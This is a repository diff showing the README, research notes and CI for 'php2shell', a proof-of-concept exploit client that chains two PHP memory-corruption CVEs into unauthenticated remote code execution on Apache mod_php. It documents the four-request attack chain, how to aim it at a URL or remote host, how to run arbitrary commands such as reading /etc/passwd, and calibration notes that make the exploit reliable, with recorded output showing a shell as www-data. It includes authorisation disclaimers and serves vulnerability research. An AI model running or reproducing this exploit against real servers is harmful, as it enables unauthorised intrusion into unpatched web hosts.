Compare commits
15
Commits
9c621e7ada
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
46d36a76d8 | ||
|
|
d1a6f0ab32 | ||
|
|
a0b4a6cb95 | ||
|
|
2b8b63e5ae | ||
|
|
663481efe2 | ||
|
|
e8f00033aa | ||
|
|
c8cc5464ab | ||
|
|
a1ff9d5c8c | ||
|
|
7f969e47f0 | ||
|
|
fd0227d68d | ||
|
|
e6e2da6cec | ||
|
|
476b3d2078 | ||
|
|
8366583c43 | ||
|
|
ccace1e510 | ||
|
|
ab3e75fa69 |
@@ -0,0 +1,31 @@
|
||||
name: ci
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
|
||||
jobs:
|
||||
test:
|
||||
name: ${{ matrix.os }} / py${{ matrix.python }}
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macos-latest]
|
||||
python: ["3.9", "3.12"]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python }}
|
||||
|
||||
- name: unit tests
|
||||
run: python -m unittest discover -s tests -t .
|
||||
|
||||
- name: offline selftest
|
||||
run: python -m poc selftest
|
||||
|
||||
- name: dry-run (no network, no docker)
|
||||
run: python -m poc exploit --dry-run
|
||||
@@ -1,6 +1,9 @@
|
||||
out/
|
||||
__pycache__/
|
||||
*.pyc
|
||||
.DS_Store
|
||||
.idea/
|
||||
.vscode/
|
||||
research/upstream/
|
||||
research/captures/*.resp
|
||||
research/captures/*.bin
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 ZSecurity (Linuxhackingid)
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -137,20 +137,25 @@ B2 = 384-byte fake-reference spray (500 before, 495 after) carrying a fake `zend
|
||||
|
||||
## 8. Calibration record
|
||||
|
||||
Captured 2026-10-24 from `lab/status.sh` on the running target.
|
||||
|
||||
| field | value |
|
||||
|---|---|
|
||||
| image | php:8.4.26-apache |
|
||||
| amd64 manifest digest | sha256:b0ae0e0d4a3b7f0e800017482752b94f58ab049f2d7fcd108e5452afce3f50d1 (pre-pull, Docker Hub tag query) |
|
||||
| image id | |
|
||||
| image id / config digest | 60111400ff77 (matches the digest recorded in the upstream offsets note) |
|
||||
| libphp.so path | /usr/lib/apache2/modules/libphp.so |
|
||||
| libphp.so sha256 | |
|
||||
| php version / build date | |
|
||||
| apache version | |
|
||||
| profile selected | |
|
||||
| zval_ptr_dtor offset | |
|
||||
| zif_system offset | |
|
||||
| main_bucket_count | |
|
||||
| delta range | |
|
||||
| libphp.so sha256 | `51663cf883b1223436d4c99f31dd0225735ea5573665e4242621eee7f4ee679c` — **matches profile** |
|
||||
| php version / build date | 8.4.26 NTS (mod_php), built Oct 21 2026 00:31:19 |
|
||||
| apache version | Apache/2.4.69 (Debian), prefork pinned to 1 child |
|
||||
| profile selected | `php-8.4.26-apache-trixie-amd64` |
|
||||
| ini | display_errors=Off, memory_limit=128M, post_max_size=8M, output_buffering=0, max_file_uploads=20, max_input_vars=1000, session.upload_progress.enabled=On, save_handler=files, serialize_handler=php |
|
||||
| zval_ptr_dtor offset | 0x65EB60 (to be confirmed by `poc offsets` in T6) |
|
||||
| zif_system offset | 0x465370 (same) |
|
||||
| main_bucket_count | 87 |
|
||||
| delta range | 0x1A00000–0x1F00000 |
|
||||
|
||||
Result: the pulled image is byte-identical to the build the published offsets were derived
|
||||
from, so no recalibration branch was needed.
|
||||
|
||||
Published reference profile for comparison (from the upstream offsets note):
|
||||
|
||||
@@ -173,3 +178,126 @@ Published reference profile for comparison (from the upstream offsets note):
|
||||
|
||||
Local Docker lab only. No remote hosts, no scanning, no Shodan/Censys. The artifact is a research
|
||||
harness, not a scanner.
|
||||
|
||||
## 10. Host-specific finding — the pointer window must not be hardcoded to `0x7f`
|
||||
|
||||
The reference chain filters leak-window qwords to `0x7F0000000000 ≤ q ≤ 0x7FFFFFFFFFFF`. On this
|
||||
host that filter rejected every real pointer and the control run failed with
|
||||
"no heap pointers in leak window". Captured offsets observed across four container starts:
|
||||
`0x7327…`, `0x7899…`, `0x7d27…` — all below `0x7f`.
|
||||
|
||||
The captured window was intact, just mis-filtered. Re-classifying the same 819 208 decoded bytes
|
||||
over canonical user space (`2^36 … 2^47−1`) reproduced the documented fingerprints exactly:
|
||||
|
||||
| cluster | count | meaning |
|
||||
|---|---|---|
|
||||
| `0x7d27f67aab60` | 1095 | `zval_ptr_dtor` → `libphp = value − 0x65EB60` = `0x7d27f614c000` (page-aligned) |
|
||||
| `0x7d27f3e00000` | 7495 | id chunk |
|
||||
| `0x7d27f4400000` | 87 | main chunk |
|
||||
| `0x7d27f3c00000` | 79 | neighbour chunk |
|
||||
| libphp − main | `0x1D4C000` | inside the documented `0x1A00000–0x1F00000` window |
|
||||
|
||||
Two consequences for the rebuild:
|
||||
|
||||
1. Widen the window to canonical user space; never assume `0x7f`.
|
||||
2. Widening admits false positives. The window's **most common** in-range qword is
|
||||
`0x0000001600000001` (1282×) — a `zend_string` header (`rc=1`, `type_info=0x16`), which
|
||||
outnumbers `zval_ptr_dtor` (1095×). A "most common qword" heuristic therefore picks the wrong
|
||||
value once the `0x7f` filter is removed. The parser instead requires
|
||||
`(candidate − dtor_offset) % 0x1000 == 0` and a count quorum, then validates
|
||||
`libphp − main` against the profile window.
|
||||
|
||||
Verification of the diagnosis: the reference chain, copied to `research/control/` with **only**
|
||||
that one literal widened and nothing else changed, produced
|
||||
`uid=33(www-data) gid=33(www-data) groups=33(www-data)` on the first attempt. That is the
|
||||
control test's value — it separates "my rebuild is broken" from "the reference's assumption does
|
||||
not hold in this environment".
|
||||
|
||||
## 11. Portability — never shell out to `bash` from the CLI
|
||||
|
||||
On Windows, `bash` is ambiguous. Python's `shutil.which("bash")` and `CreateProcess` disagree:
|
||||
the former searches `PATH`, the latter searches the application directory, then the working
|
||||
directory, then `System32` — so from a stock PowerShell `PATH`, `bash` resolves to
|
||||
`C:\Windows\System32\bash.exe`, which is **WSL** and cannot open `C:/Users/...` paths. The failure
|
||||
surfaces as `/bin/bash: C:/…/lab/up.sh: No such file or directory` for a file that plainly exists.
|
||||
The same code worked from git-bash purely because git-bash's `PATH` put its own `usr/bin` first.
|
||||
|
||||
Rule: the CLI must not depend on a shell existing or on which one wins. `poc/lab.py` calls the
|
||||
Docker CLI directly with an argument vector (no shell string, no `bash`), so the identical
|
||||
`python -m poc exploit` works from PowerShell, cmd, git-bash, zsh, and bash. Consequences that are
|
||||
easy to get wrong:
|
||||
|
||||
- **Volume paths are OS-specific.** Windows needs `C:/Users/...` (forward slashes, drive letter);
|
||||
POSIX needs the path unchanged. `host_path()` converts separators only — it deliberately does
|
||||
not call `os.path.abspath`, because that maps `/srv/x` to `C:\srv\x` on Windows.
|
||||
- **`os.path.join` is host-dependent**, so it is correct to use it with a host root and wrong to
|
||||
use it with a foreign-style root in tests.
|
||||
- **The container entrypoint must not contain `CRLF`.** `INIT` is passed as one argv element to
|
||||
`/bin/sh -c`; a stray `\r` breaks it inside the container. There is a unit test for this.
|
||||
- The `lab/*.sh` files are thin shims (`exec python -m poc …`), so there is one implementation
|
||||
rather than a shell copy and a Python copy that drift apart.
|
||||
|
||||
## 12. Readiness probe — socket, not `urllib`
|
||||
|
||||
`docker run -d` returns before the port is forwarded. The first version of the readiness wait used
|
||||
`urllib.request.urlopen("http://127.0.0.1:<port>/index.php")` and intermittently polled for
|
||||
**4 minutes** before giving up, while a plain `socket.create_connection` reached the same port
|
||||
0.5 s after `docker run`. There is no proxy in the environment (`getproxies()` is empty), so the
|
||||
difference is `urllib`'s own machinery. The probe is now a raw socket GET whose read loop stops at
|
||||
the header terminator, with `attempts=120, delay=0.25, timeout=1.0` and a 200-status check.
|
||||
|
||||
Two rules that follow:
|
||||
|
||||
- Anything the exploit path does to the target should go through the same raw-socket layer the
|
||||
chain uses; mixing an HTTP client library into the control plane adds failure modes that look
|
||||
like "the target is broken".
|
||||
- A readiness loop must be tested against a real local listener (`tests/test_lab_ready.py` runs a
|
||||
throwaway socket server and asserts 200 → body, non-200 → None, closed port → fast None).
|
||||
|
||||
## 13. The RCE primitive is one-shot, and connection state is irrelevant
|
||||
|
||||
The payload lands as `pDestructor = zif_system` on a forged `zend_array`, invoked by
|
||||
`zend_hash_destroy` while the request shuts down. Consequences that decide what "persistence"
|
||||
can mean:
|
||||
|
||||
- It executes **once per request**, inside the worker, synchronously. `system()` blocks the child
|
||||
until the command exits, so no background process is created unless the command itself forks one.
|
||||
- There is no output channel: `system()` writes to the worker's stdout, which for mod_php under
|
||||
Apache ends up in the error log, not the HTTP response. Anything you want to read must be written
|
||||
to a path you can observe — here the `/out` bind mount.
|
||||
- The forged array is consumed by the destroy pass, so a second command needs a fresh
|
||||
A1 → B1 → A2 → B2 cycle (~2 s). There is no session to resume.
|
||||
- **`Connection: close` on every request is fine.** Cross-request state that matters is the
|
||||
*worker process* (globals + heap), not the TCP connection. Keep-alive buys nothing; landing on a
|
||||
different child loses everything.
|
||||
|
||||
Measured: five sequential cycles on one worker completed 5/5 with no retries, and a counter file
|
||||
in `/out` incremented 1→5. So repeated exploitation does not by itself kill the worker; the leak-only
|
||||
stage does leave it in a bad state, which is why `poc leak` followed immediately by `poc exploit`
|
||||
can need one retry.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 14. TLS works at the transport layer, but a reverse proxy breaks stage 2
|
||||
|
||||
The wire layer originally refused `https://`. It now wraps the socket with `ssl` (`--tls`, implied
|
||||
by an `https://` url) and verifies certificates by default (`--insecure` for self-signed labs).
|
||||
Measured against an `nginx:alpine` TLS terminator in front of the same lab container
|
||||
(`proxy_http_version 1.1`, `proxy_request_buffering off`, `proxy_buffering off`,
|
||||
`Connection close`):
|
||||
|
||||
| Path | A1 | B1 |
|
||||
|---|---|---|
|
||||
| direct `http://127.0.0.1:18110` | 500 (real OOM) | 200 + 819208-byte decoded cookie → chain completes, `uid=33(www-data)` |
|
||||
| through nginx over `https://` | 500 (real OOM) | Apache logs a 200 with a truncated body, then `zend_mm_heap corrupted` → child `exit signal Abort (6)`; the proxy returns `502` |
|
||||
|
||||
So TLS itself is fine, and the OOM producer reaches the target over TLS. The failure is the
|
||||
second stage's *response*: the worker aborts during that request's shutdown, and a proxy cannot
|
||||
forward a response whose upstream died mid-body. A direct client reads what was already flushed
|
||||
and carries on. Practical rule: aim the chain at mod_php's own listener, not at a terminator, a
|
||||
CDN, or a load balancer. Both `Connection` modes (`""` and `close`) and buffering off were tried;
|
||||
neither changed the outcome.
|
||||
|
||||
|
||||
@@ -0,0 +1,388 @@
|
||||
# php2shell — PoC for CVE-2026-109618 + CVE-2026-109619
|
||||
|
||||
Unauthenticated remote code execution against **Apache mod_php** running a vulnerable PHP,
|
||||
using only HTTP multipart requests, with no application code required and no `session_start()`
|
||||
in the target page.
|
||||
|
||||
```
|
||||
$ python -m poc exploit
|
||||
php2shell poc 0.1.0 | ZSecurity | Linuxhackingid
|
||||
[1/4] A1 oom status=HTTP/1.0 500 Internal Server Error
|
||||
[2/4] B1 leak decoded=819208 libphp=0x78991f26f000 main=0x78991d600000 count=87
|
||||
[3/4] A2 oom status=HTTP/1.0 500 Internal Server Error
|
||||
[4/4] B2 forge S=0x78991d6f8398 zif_system=0x78991f6d4370 status=
|
||||
RCE OK; proof /…/out/p1:
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
`__author__` ZSecurity · `__org__` Linuxhackingid · v0.1.0
|
||||
|
||||
---
|
||||
|
||||
## Scope and authorisation
|
||||
|
||||
**This repository ships the exploit client only.** It contains no web application, no Docker
|
||||
compose file and no lab harness: you point it at a vulnerable mod_php target you started
|
||||
yourself (see [Target](#target-not-shipped)). It is a reproduction and verification tool for two
|
||||
published PHP core bugs — not a scanner, not a payload delivery tool. Do not point it at a host
|
||||
you do not own or have written authorisation to test.
|
||||
|
||||
## The vulnerabilities
|
||||
|
||||
| | CVE-2026-109618 | CVE-2026-109619 |
|
||||
|---|---|---|
|
||||
| Title | RCE via OOM corruption | RCE via stale global state |
|
||||
| Fixed in | 8.2.35, 8.3.36, 8.4.27, 8.5.12 | same |
|
||||
| Weakness | OOM `longjmp()` abandons a request with request memory reachable but uninitialised; shutdown then reads/branches on it | worker-retained globals point into a freed request heap; a later request consumes the stale value before RINIT resets it |
|
||||
| Confirmed SAPI | Apache mod_php (shutdown runs even when startup failed) | mod_php; session-lifecycle path also validated on FPM per the advisory |
|
||||
|
||||
Vendor advisories: [GHSA-w8hw-w9fx-j79w](https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w),
|
||||
[GHSA-6wmf-4rv5-p3rp](https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp).
|
||||
Version ranges above are read from NVD `cpeMatch.versionEndExcluding`, not from blog prose.
|
||||
Grounding notes, including every source URL and the raw mechanism text, are in
|
||||
[NOTES.md](NOTES.md).
|
||||
|
||||
## What this PoC implements — and what it does not
|
||||
|
||||
Four primitives were published under these two CVEs. This PoC implements **two** of them plus
|
||||
the OOM producer:
|
||||
|
||||
| Primitive | Implemented |
|
||||
|---|---|
|
||||
| Upload-progress unserializer state (`BG(unserialize)`) → controlled corruption | yes (A2/B2) |
|
||||
| Remote process-memory disclosure via stale `PS(id)` in a `PHPSESSID` cookie | yes (A1/B1) |
|
||||
| OOM producer via multipart without a usable `Content-Length` | yes (A1, A2) |
|
||||
| `EG(last_fatal_error_backtrace)` UAF (PHP 8.5, needs `fatal_error_backtraces`) | **no** |
|
||||
| OPcache `CG(map_ptr_last)` cross-worker type confusion | **no** |
|
||||
|
||||
Not validated here: FPM, FrankenPHP, LSAPI. The advisory documents FPM as susceptible by source
|
||||
analysis with no complete exploit demonstrated; that remains true of this artifact.
|
||||
|
||||
### Stage → CVE mapping
|
||||
|
||||
The vendor does not label which primitive belongs to which CVE. This mapping is **analytical**,
|
||||
not a citation:
|
||||
|
||||
| Stage | Role | CVE |
|
||||
|---|---|---|
|
||||
| A1 — multipart OOM at END cleanup | producer: leaves dangling `PS(id)` / `PS(mod_data)`, `send_cookie=1` | 109618 |
|
||||
| B1 — second request URL-encodes the stale `PS(id)` | consumer: 800 KB memory disclosure | 109619 |
|
||||
| A2 — cheap OOM over nested fields | producer: leaves dangling `PS(hash_serialize_verifier)` | 109618 |
|
||||
| B2 — fake `zend_reference` → fake `zend_array` | consumer: `zend_hash_destroy` calls `pDestructor = zif_system` | 109619 |
|
||||
|
||||
## Install
|
||||
|
||||
```bash
|
||||
git clone https://git.linuxhackingid.com/linuxhackingid/php2shell-cve-2026-109618-109619.git
|
||||
cd php2shell-cve-2026-109618-109619
|
||||
python -m unittest discover -s tests -t . # 56 pass, 4 skip (need the target binary)
|
||||
```
|
||||
|
||||
Nothing to `pip install`. The two tests that need the target's `libphp.so` skip themselves on a
|
||||
fresh clone — see [research/README.md](research/README.md) to enable them.
|
||||
|
||||
## Requirements
|
||||
|
||||
- Docker with a Linux engine, x86_64 (the target image is `linux/amd64`)
|
||||
- Python 3.9+ — standard library only, no third-party packages
|
||||
- No shell required: the CLI talks to the Docker CLI directly, so it behaves identically from
|
||||
PowerShell, cmd, git-bash, zsh, and bash. The `lab/*.sh` files are conveniences that wrap the
|
||||
same Python entry points.
|
||||
|
||||
### Platform support
|
||||
|
||||
| OS | Status | How it was checked |
|
||||
|---|---|---|
|
||||
| Windows 11 | works | PowerShell + git-bash, stock `PATH` where `bash` resolves to WSL; full chain `uid=33(www-data)` |
|
||||
| Linux x86_64 | works | Python 3.9 and 3.13 containers: full unit suite, plus the full chain executed from a Linux client against the target over a Docker network (`uid=33(www-data)`) |
|
||||
| macOS | expected to work, **not executed here** | no macOS host available; the CI matrix (`.github/workflows/ci.yml`) runs the unit tests and offline selftest on `macos-latest` |
|
||||
|
||||
Verified interpreter versions: 3.9.25, 3.13, 3.14.7.
|
||||
|
||||
## Quickstart
|
||||
|
||||
You need a running vulnerable target first (next section). Then, from any directory:
|
||||
|
||||
```bash
|
||||
python -m poc check --url http://127.0.0.1:18110 # version, ini, libphp hash, profile
|
||||
python -m poc exploit --url http://127.0.0.1:18110 # A1 -> B1 -> A2 -> B2 -> proof
|
||||
```
|
||||
|
||||
Sample output:
|
||||
|
||||
```
|
||||
[1/4] A1 oom status=HTTP/1.0 500 Internal Server Error
|
||||
[2/4] B1 leak decoded=819208 libphp=0x78991f26f000 main=0x78991d600000 count=87
|
||||
[3/4] A2 oom status=HTTP/1.0 500 Internal Server Error
|
||||
[4/4] B2 forge S=0x78991d6f8398 zif_system=0x78991f6d4370 status=
|
||||
RCE OK; proof C:\Users\you\AppData\Local\php2shell\out\p1:
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
The proof file is written by the target into its `/out` mount. This client looks for it in a
|
||||
fixed per-user directory — `%LOCALAPPDATA%\php2shell\out` on Windows,
|
||||
`${XDG_DATA_HOME:-~/.local/share}/php2shell/out` on Linux/macOS — so **the folder you run `poc`
|
||||
from does not matter**. Point the target's `/out` at that directory, or pass `--proof PATH`.
|
||||
|
||||
`poc exploit` refuses to run when nothing is listening and tells you so. Nothing is chained
|
||||
implicitly: `check` only reads configuration, `leak` stops after the disclosure, `exploit` sends
|
||||
the whole chain.
|
||||
|
||||
## Target (not shipped)
|
||||
|
||||
Requirements, all confirmed against `php:8.4.26-apache`:
|
||||
|
||||
- Apache **mod_php** (not FPM — the confirmed path depends on mod_php's shutdown running after a
|
||||
failed startup)
|
||||
- `php.ini-production`: `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`,
|
||||
`output_buffering=0`, `session.upload_progress.enabled=On`
|
||||
- **one prefork child** for deterministic results (`MaxRequestWorkers 1`); with more workers the
|
||||
four requests must otherwise land on the same child
|
||||
- a writable `/out` mount which matches the client's proof directory
|
||||
|
||||
Minimal target, two files plus a container. `index.php`:
|
||||
|
||||
```php
|
||||
<?php echo "OK\n";
|
||||
```
|
||||
|
||||
`apache-single-worker.conf`:
|
||||
|
||||
```apache
|
||||
KeepAlive Off
|
||||
|
||||
<IfModule mpm_prefork_module>
|
||||
StartServers 1
|
||||
MinSpareServers 1
|
||||
MaxSpareServers 1
|
||||
MaxRequestWorkers 1
|
||||
ServerLimit 1
|
||||
MaxConnectionsPerChild 0
|
||||
</IfModule>
|
||||
```
|
||||
|
||||
```bash
|
||||
OUT="${XDG_DATA_HOME:-$HOME/.local/share}/php2shell/out"; mkdir -p "$OUT"
|
||||
docker run -d --name p2s-lab -p 127.0.0.1:18110:80 \
|
||||
-v "$PWD/index.php:/var/www/html/index.php:ro" \
|
||||
-v "$PWD/apache-single-worker.conf:/etc/apache2/conf-enabled/zz-p2s.conf:ro" \
|
||||
-v "$OUT:/out" \
|
||||
php:8.4.26-apache /bin/sh -c 'cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini;
|
||||
chown -R www-data:www-data /out 2>/dev/null || true; exec apache2-foreground'
|
||||
```
|
||||
|
||||
On Windows/PowerShell use forward-slash paths (`C:/Users/you/...`) and
|
||||
`$env:LOCALAPPDATA + "/php2shell/out"` for `OUT`. The asset files are deliberately not part of
|
||||
this repository — the exploit client is the deliverable, the target is your lab.
|
||||
|
||||
## CLI
|
||||
|
||||
| Command | Purpose |
|
||||
|---|---|
|
||||
| `poc check` | preflight: php version + vulnerable/patched verdict, nine ini values, `libphp.so` sha256 → profile, worker count. Exit 1 when the target is patched or the build is unknown. Sends no exploit traffic. |
|
||||
| `poc status` | diagnostics for a **local** container via `docker exec`: php/apache version, the nine ini values, libphp sha256, worker count |
|
||||
| `poc offsets --lib PATH` | derive `zval_ptr_dtor`, `zif_system`, `zif_passthru` from an ELF `.symtab`/`.dynsym` |
|
||||
| `poc leak` | A1 + B1 only: produce and classify the disclosure cookie (`--save` keeps the raw response) |
|
||||
| `poc exec --cmd CMD` | full chain with CMD wrapped so its output returns to you via `/out/.poc-exec`; prints the output, returns its exit code |
|
||||
| `poc exploit` | full chain; `--dry-run` forges and hashes all four bodies without touching the network; `--retries N`; `--cmd`; `--proof` |
|
||||
| `poc selftest` | offline: build all four bodies, check sizes and layout invariants |
|
||||
|
||||
All commands accept `--host --port --url --path --tls --insecure --profile --workers --json`.
|
||||
`--workers N` occupies `N-1` prefork children so the four chain requests land on the same worker.
|
||||
`--name` (default `p2s-lab`) selects the container for `check` and `status`.
|
||||
|
||||
## Targeting a URL or a remote host
|
||||
|
||||
`poc exploit` and `poc leak` accept a URL instead of host/port:
|
||||
|
||||
```bash
|
||||
python -m poc exploit --url http://127.0.0.1:18110
|
||||
python -m poc exploit --url http://10.0.0.5:8080/app/index.php
|
||||
python -m poc leak --url http://lab.internal --save leak.resp
|
||||
```
|
||||
|
||||
`--url` fills in host, port (80 for `http://`, 443 for `https://`) and the request path (default
|
||||
`/index.php`); `--host`, `--port`, `--tls` and `--path` override it. TLS is real TLS: certificate
|
||||
verification is **on by default**, so a lab with a self-signed certificate needs `--insecure`:
|
||||
|
||||
```bash
|
||||
python -m poc exploit --url https://127.0.0.1:18443/index.php --insecure
|
||||
python -m poc exploit --host 10.0.0.5 --port 8443 --tls --insecure
|
||||
```
|
||||
|
||||
What is verified over TLS: the transport layer (handshake, certificate rejection by default,
|
||||
chunked framing through a `ssl` socket) and stage A1 against a TLS-terminated target — it returns
|
||||
the real `500` OOM. What is **not** reliable: stages B1 onward when a reverse proxy sits in front
|
||||
of mod_php, because the worker aborts during that request's shutdown and the proxy turns the
|
||||
truncated upstream response into `502 Bad Gateway` (measured: direct `http://` to the same
|
||||
container gives full RCE; the same container behind nginx TLS gives `502` at B1). Point the chain
|
||||
at mod_php directly rather than through a TLS terminator, a CDN, or a load balancer.
|
||||
|
||||
|
||||
Only point this at a host you own or have written authorisation to test. There is no scanning,
|
||||
no target list, no threading: one URL, one chain, and the proof lands in the mounted `out/`
|
||||
directory, so a remote target needs a way for you to read that file (or `--cmd` with an
|
||||
out-of-band effect you can observe).
|
||||
|
||||
A URL is not sufficient on its own for the chain to work. The technical preconditions are:
|
||||
|
||||
- **Apache mod_php.** The vulnerability's confirmed path depends on mod_php running request
|
||||
shutdown even when startup failed. FPM, FrankenPHP and LSAPI are not covered here.
|
||||
- **All four requests must hit the same prefork child.** Behind a load balancer, a CDN, or a
|
||||
multi-worker pool without pinning, the dangling pointers do not survive. Locally `--workers`
|
||||
occupies `N-1` children; you cannot do that to someone else's server, so target pools must be
|
||||
small (ideally one worker) or the chain has to be retried a lot.
|
||||
- **The build must match a profile.** `s_delta`, `hsv_delta`, the destructor offset and the
|
||||
fingerprint counts are per-`libphp.so`. `poc check` and `poc status` work by `docker exec`, so
|
||||
they only apply to the local container — for a remote host, obtain its `libphp.so`, verify the
|
||||
SHA-256, run `python -m poc offsets --lib <file>` and add a profile keyed by that hash before
|
||||
expecting the write primitive to land.
|
||||
- **Default input limits.** `memory_limit=128M`, `post_max_size=8M`, `output_buffering=0` and
|
||||
`session.upload_progress.enabled=On` are what the OOM stages were calibrated against.
|
||||
|
||||
In other words: a URL is convenient for your own lab published on a LAN or in a cloud network,
|
||||
not a general-purpose remote exploit.
|
||||
|
||||
## "Persistence" — two different questions
|
||||
|
||||
**1. Connection persistence: not needed, and not used.** Every request is its own TCP connection
|
||||
with `Connection: close`, chunked only where the body must bypass `post_max_size`. What has to
|
||||
"persist" across A1 → B1 → A2 → B2 is the **worker process**, not the socket: `PS(id)` and
|
||||
`PS(hash_serialize_verifier)` live in the child's globals and the heap layout is per-process. That
|
||||
is why `--workers` exists — it occupies `N-1` prefork children so the four requests land on the
|
||||
same one. A keep-alive connection would not help; a different child breaks the chain.
|
||||
|
||||
**2. Session persistence after RCE: there is none, by design of the primitive.** The payload is
|
||||
`system()` reached as a `pDestructor` from `zend_hash_destroy` during request shutdown. That means:
|
||||
|
||||
- it fires **once per request**, synchronously, and blocks the worker until the command returns;
|
||||
- there is **no stdin and no stdout** — output only exists if the command writes it somewhere
|
||||
(which is why the proof goes to the mounted `/out`);
|
||||
- the forged array is consumed at shutdown, so a second command needs the **whole chain again**
|
||||
(~2 s per command), not a resumed session.
|
||||
|
||||
`poc exec` makes that cycle convenient — it wraps your command so stdout/stderr land in
|
||||
`/out/.poc-exec`, runs the chain with retries, prints the output back, and returns a real exit code:
|
||||
|
||||
```bash
|
||||
python -m poc exec --cmd 'id; hostname; uname -sr'
|
||||
python -m poc exec --cmd 'ls -la /var/www/html'
|
||||
python -m poc exec --cmd 'cat /etc/passwd | head -3'
|
||||
```
|
||||
|
||||
Measured on this lab: **5 sequential `poc exec` cycles on the same worker, 5/5 exit 0, zero
|
||||
retries**, with a counter file in `/out` incrementing 1→5 — so the worker survives repeated
|
||||
cycles; what does not exist is a shared session. Anything that must survive between commands has
|
||||
to be written to disk (`/out`) rather than held in memory.
|
||||
|
||||
Stage 3 can miss intermittently: A2's cheap OOM leaves the stale pointer at a slightly different
|
||||
spot, B2 then completes normally (`200`, worker alive) instead of firing the destructor, and no
|
||||
output appears. `poc exploit` prints
|
||||
`no command output; B2 status=... - stage-3 placement missed` and retries the whole chain; keep
|
||||
`--retries` at 3 or higher. Three consecutive cold starts (fresh container each) all succeeded on
|
||||
attempt 1, so the miss is occasional rather than systematic.
|
||||
|
||||
|
||||
For commands longer than the 200-byte carrier limit, write a script into `out/` and run
|
||||
`python -m poc exec --cmd 'sh</out/c'`.
|
||||
|
||||
**Deliberately not shipped:** an interactive shell, a backdoor, auto-reconnect, or a dropper.
|
||||
A persistent channel would be a listener inside the container plus a published port (lab-only, and
|
||||
we control `docker run`), or a polling loop over the mounted volume — both are implant mechanics
|
||||
rather than proof-of-concept mechanics, and they are out of scope for this artifact. If you need
|
||||
one for an exercise, build it yourself against a target you own; the primitive here gives you
|
||||
arbitrary `system()` and nothing else.
|
||||
|
||||
## Status — what was verified, and how
|
||||
|
||||
Every row below is a command that was actually run in this environment, with its own artifact.
|
||||
|
||||
| Stage | Command | Observed |
|
||||
|---|---|---|
|
||||
| Lab build identity | `python -m poc check` | PHP 8.4.26 NTS, `libphp.so` sha256 `51663cf8…f4ee679c` = profile; Apache 2.4.69; `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`, `session.upload_progress.enabled=On`; 1 worker |
|
||||
| Symbol offsets | `python -m poc offsets --lib research/libphp.so` | `zval_ptr_dtor=0x65eb60`, `zif_system=0x465370` — matches the profile |
|
||||
| Offline suite | `python -m unittest discover -s tests -t .` | 60 tests, all pass, 0 skipped |
|
||||
| Body parity | `tests/test_bodies_parity.py` | A1/A2/B1 SHA-256 identical to the reference generators (`8e8fc166…`, `7af66c8f…`, `b6c547e0…`) |
|
||||
| Stage 1–2 (disclosure) | `python -m poc leak` | A1 → 500; B1 → 200 with an 819 208-byte decoded cookie; `zval_ptr_dtor` ×1095; `libphp − main` in range; main-chunk fingerprint count 87 |
|
||||
| Stage 3–4 (RCE) | `python -m poc exploit` | `[4/4] … RCE OK`, `out/p1` contains `uid=33(www-data) gid=33(www-data) groups=33(www-data)`; exit 0 |
|
||||
| Reproducibility | 3 fresh containers, one run each | 3/3 `uid=33(www-data)` |
|
||||
| Repeat commands | 5 sequential `poc exec` cycles, same worker | 5/5 exit 0, 0 retries, counter in `/out` reached 5 |
|
||||
| Linux (unit) | `python -m unittest` inside `python:3.9-slim` and `python:3.13-slim` | 67/67 OK on both |
|
||||
| Linux (chain) | `python -m poc exec --url http://p2s-lab/index.php` from a `python:3.9-slim` container on the lab network | `uid=33(www-data)` |
|
||||
| Windows shell independence | `python -m poc exploit` from PowerShell with a stock `PATH` where `bash` resolves to WSL | exit 0, proof written - the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it |
|
||||
| Specificity | same target recipe on `php:8.4.27-apache`, then `poc check` / `poc exploit` | `check` → `8.4.27 patched`, `NOT READY`, exit 1; `exploit` → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and **no proof file is created** |
|
||||
| Reference control | unchanged reference chain against this lab | same proof — confirms the lab build is the one the published offsets describe |
|
||||
|
||||
The last two rows are the ones that matter for honesty: the chain works on 8.4.26 and does not
|
||||
work on 8.4.27, so it is exercising the patched condition rather than a lab misconfiguration.
|
||||
|
||||
## How it works
|
||||
|
||||
Four requests, all served by the same prefork child, in order. Each request is a multipart body
|
||||
built byte-for-byte by `poc/bodies.py` / `poc/forge.py`:
|
||||
|
||||
